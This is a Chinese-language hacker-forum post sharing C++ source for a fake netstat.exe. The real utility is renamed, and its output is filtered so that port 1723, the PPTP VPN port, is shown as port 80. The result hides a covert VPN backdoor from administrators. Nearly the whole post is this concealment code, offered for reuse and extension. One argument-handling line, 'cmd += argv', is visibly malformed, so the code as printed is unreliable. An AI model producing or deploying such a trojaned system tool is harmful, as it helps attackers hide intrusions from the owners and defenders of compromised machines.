基本思路见
http://forum.eviloctal.com/read- ... ge-e-fpage-1.html#a
由于那里的源码是VC++2005 C++/CLI编译,运行时不仅要 .NET 还要带个msvcm80.dll,
不方便使用,于是用VC++6.0重写了下.因为这个代码可以扩展 定制,所以发到原创
代码如下:
Copy code
/////////////////////////////////////////////////////////////
//处理netstat回显隐藏VPN端口
//Coder:zshoucheng [EST]
//Blog:http;//www.shellvip.com
////////////////////////////////////////////////////////////
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
using namespace std;
char buf[100]={0};
char* LogFile()
{
GetTempPath(64,buf);
strcat(buf,"port.log");
return buf;
}
int main(int argc,char* argv[])
{
string cmd = "stat.exe"; //把系统原来的netstat.exe改名为stat.exe
string oldPort = "1723"; //需要隐藏的端口
string newPort = "80 "; //替换为新的端口
if (argc != 1)
{
for (int i=1;i<argc;i++)
{
cmd += " ";
cmd += argv;
}
}
cmd += ">";
cmd += LogFile();
system(cmd.c_str());
ifstream in(LogFile());
string tmp[256];
for (int j=0;j<256 && in;j++)
{
getline(in,tmp[j],'\n');
int index = (tmp[j]).find(oldPort,4);
if (index!=string::npos)
{
tmp[j].replace(index,4,newPort);
}
cout<<tmp[j].c_str()<<endl;
}
return 0;
}